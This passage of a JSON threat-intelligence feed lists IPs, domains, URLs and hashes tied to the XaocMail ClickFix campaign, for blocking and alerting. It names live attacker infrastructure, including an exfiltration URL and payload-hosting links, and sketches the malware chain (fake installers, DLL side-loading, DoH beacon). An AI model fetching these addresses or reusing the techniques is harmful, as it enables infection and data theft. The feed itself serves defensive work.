"source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "162.252.199.92", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Operator OPS server running a Ligolo-ng tunnel.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "94.156.152.7", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Operator VPS used in the XaocMail and Phantom53 operation.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/1980891/", "name": "ThreatFox" } ] }, { "value": "145.63.138.67", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Havoc (HavoX) team server and login panel on TCP 8000, XaocMail statistics on TCP 8081 and the exfiltration endpoint /up/ on TCP 8125.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "91.132.93.251", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "RevSocks reverse-proxy server reached over secure WebSockets.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "176.9.154.69", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Proxy the operators used while hunting for credentials.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "http://145.63.138.67:8125/up/", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Exfiltration URL on the Havoc server where stolen data is uploaded.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "https://gist.githubusercontent.com/yegeqebige46-creator/b393f36b20ad8aeadcb8a80af70ccc09/raw/da03fd7f1ffacda970a1f3d345bdaeae8c6a7b43/gistfile1.txt", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "GitHub Gist file that hosted an earlier Phantom53 installer before the operators moved to Cloudflare Workers.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "https://github.com/yegeqebige46-creator/qq/raw/main/update.zip", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Operator GitHub repository file update.zip, an earlier Phantom53 package in which GUP.exe side-loads a malicious libcurl.dll.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "dns.timesyncserver-312453.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Operator OPS command-and-control domain.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027546/", "name": "ThreatFox" } ] }, { "value": "securedoc.makeneg458.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "XaocMail Cloudflare Worker that serves the document-sharing ClickFix lure and the MSI, PowerShell and HTA payloads.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027547/", "name": "ThreatFox" } ] }, { "value": "securedoc.mesuttgulerr573.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "XaocMail Cloudflare Worker that serves the ClickFix lure at /?id= and payloads at /m?id= (MSI), /s?id= (PowerShell) and /h?id= (HTA).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027548/", "name": "ThreatFox" } ] }, { "value": "linkrot.fypahedupal2-0maz.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker that rotates the securedoc workers.dev subdomain on every visit so takedowns do not break the lure links.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027549/", "name": "ThreatFox" } ] }, { "value": "cdn-analytics-p53.makeneg458.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker that collects Phantom53 victim telemetry.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027550/", "name": "ThreatFox" } ] }, { "value": "cdn-analytics-3f4033.rosamariaeadeshtvfud.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker that collects Phantom53 victim telemetry.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027551/", "name": "ThreatFox" } ] }, { "value": "sync-node-serv.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain used by the HavoX (Havoc Demon) post-exploitation stage.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027552/", "name": "ThreatFox" } ] }, { "value": "dns.cdn-syncnode-server.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain used by the HavoX (Havoc Demon) post-exploitation stage.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027553/", "name": "ThreatFox" } ] }, { "value": "cdn-assets-api.cfchk902834.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker relay that the HavoX (Havoc Demon) implant connects to for command and control.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027554/", "name": "ThreatFox" } ] }, { "value": "cdn-assets-api.makeneg458.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker relay that the HavoX (Havoc Demon) implant connects to for command and control.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027555/", "name": "ThreatFox" } ] }, { "value": "cdn-assets-api.kessler-m88.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker relay that the HavoX (Havoc Demon) implant connects to for command and control.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027556/", "name": "ThreatFox" } ] }, { "value": "cdn-assets-api.busykifukek2-8psk.workers.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Cloudflare Worker relay that the HavoX (Havoc Demon) implant connects to for command and control.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027557/", "name": "ThreatFox" } ] }, { "value": "a8f2aac37385.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phantom53 command-and-control domain queried through DNS-over-HTTPS AAAA lookups.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027558/", "name": "ThreatFox" } ] }, { "value": "kfkwrfdd.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phantom53 command-and-control domain queried through DNS-over-HTTPS AAAA lookups.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027559/", "name": "ThreatFox" } ] }, { "value": "544504d7fe1e.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phantom53 command-and-control domain queried through DNS-over-HTTPS AAAA lookups.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027560/", "name": "ThreatFox" } ] }, { "value": "bestutyresdomaonupder.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "RevSocks reverse-proxy domain reached over secure WebSockets.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027561/", "name": "ThreatFox" } ] }, { "value": "bestutyresdomaonupder.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "RevSocks reverse-proxy domain reached over secure WebSockets.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027562/", "name": "ThreatFox" } ] }, { "value": "bestutyresdomaonupder2324.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "RevSocks reverse-proxy domain reached over secure WebSockets.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/2027563/", "name": "ThreatFox" } ] }, { "value": "bceeb2d54b6a756c73a3e06617e9e95ad4d8e53da47639bcd6ef3cae98c6da6d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "HTA payload delivered by the XaocMail ClickFix lure (mshta mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/bceeb2d54b6a756c73a3e06617e9e95ad4d8e53da47639bcd6ef3cae98c6da6d/", "name": "MalwareBazaar" } ] }, { "value": "79a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "PowerShell payload delivered by the XaocMail ClickFix lure (powershell mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/79a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed/", "name": "MalwareBazaar" } ] }, { "value": "0e1c94a8f94158f64558325ddbfd1e1277884fba6fb1f8c381dbd5c742e59fbb", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "build_v4.py, the operator script that builds Phantom53 MSI installers.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/0e1c94a8f94158f64558325ddbfd1e1277884fba6fb1f8c381dbd5c742e59fbb/", "name": "MalwareBazaar" } ] }, { "value": "efc4b8c1968c06e598a6f6f98398d44b488198b497291fe30fb792d696b6cb81", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "adminka, the Phantom53 operator administration panel.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/efc4b8c1968c06e598a6f6f98398d44b488198b497291fe30fb792d696b6cb81/", "name": "MalwareBazaar" } ] }, { "value": "4f656834e545c0b44922ce6d8952989c8c0859d8ae8b1f117c06ab07b047e2b4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "beacon.pyd, the Phantom53 DoH beacon dropped as cv2.pyd and loaded by pythonw.exe.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/4f656834e545c0b44922ce6d8952989c8c0859d8ae8b1f117c06ab07b047e2b4/", "name": "MalwareBazaar" } ] }, { "value": "8ebb2bf61b48ae7abdcd674413bebd79b30ddd945854e175ba60d56c0a3adf54", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "watcher.pyd, the Phantom53 watcher dropped as core.pyd that reflectively loads the Havoc Demon on demand.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/8ebb2bf61b48ae7abdcd674413bebd79b30ddd945854e175ba60d56c0a3adf54/", "name": "MalwareBazaar" } ] }, { "value": "a4ad001c6900176eba43a747ae5d212db6fc78f7ef4e777f276cbbdf8099dbe8", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "demon.dat, the AES-GCM encrypted Havoc Demon blob decrypted in memory by the watcher.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "dc57638cb90798835848a9dafec228bef7738def50f4f2db612862e07c5b6f8a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "demon_dbg.dat, the AES-GCM encrypted debug build of the Havoc Demon.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "56582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "gistfile1.txt, an earlier Phantom53 installer in which GUP.exe side-loads a malicious libcurl.dll.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/56582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538/", "name": "MalwareBazaar" } ] }, { "value": "009099ba10365b44bdb3ecc28dfcbed6a594ec0a0df86931620cdaac9843e611", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "update.zip, an earlier Phantom53 package in which GUP.exe side-loads a malicious libcurl.dll.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/009099ba10365b44bdb3ecc28dfcbed6a594ec0a0df86931620cdaac9843e611/", "name": "MalwareBazaar" } ] }, { "value": "0aff424f9a02eb9f429119c4caa05e85fc952603549d69849e745293d20235d6", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "libcurl.dll, the malicious DLL side-loaded by the Notepad++ updater GUP.exe in earlier Phantom53 packages.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/0aff424f9a02eb9f429119c4caa05e85fc952603549d69849e745293d20235d6/", "name": "MalwareBazaar" } ] }, { "value": "7055483a77f679ad569c3a9bfe76cdb8e5b96efc44d2bf2a6f08e930add598b0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/7055483a77f679ad569c3a9bfe76cdb8e5b96efc44d2bf2a6f08e930add598b0/", "name": "MalwareBazaar" } ] }, { "value": "0dcfe51d2521e52a469f5cec6b42bc8e7e37b41df993cce7d739ff3fd248d8b1", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/0dcfe51d2521e52a469f5cec6b42bc8e7e37b41df993cce7d739ff3fd248d8b1/", "name": "MalwareBazaar" } ] }, { "value": "bd1c005f35e4fd8c61dfa6f20d4c03e082c692e286a3b22dd642369c8d5e3564", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/bd1c005f35e4fd8c61dfa6f20d4c03e082c692e286a3b22dd642369c8d5e3564/", "name": "MalwareBazaar" } ] }, { "value": "dbd252becd490ac47e16bff4391ab9e6237c4f7e81ab6784c57fa2eed751f477", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/dbd252becd490ac47e16bff4391ab9e6237c4f7e81ab6784c57fa2eed751f477/", "name": "MalwareBazaar" } ] }, { "value": "e9e57a57ee45b8faae2e47affd8cf3a6d0cc1283802108f7298ae1d2ef3b43f0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/e9e57a57ee45b8faae2e47affd8cf3a6d0cc1283802108f7298ae1d2ef3b43f0/", "name": "MalwareBazaar" } ] }, { "value": "d2d41b249905deae3bd6bcaa547872d747256a7dfa459b509d9db9de8f0ca29b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/d2d41b249905deae3bd6bcaa547872d747256a7dfa459b509d9db9de8f0ca29b/", "name": "MalwareBazaar" } ] }, { "value": "ee5fa33b58d0f2772e091e23de9db24908d970000a88e39fd7d908f30f5e591a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix 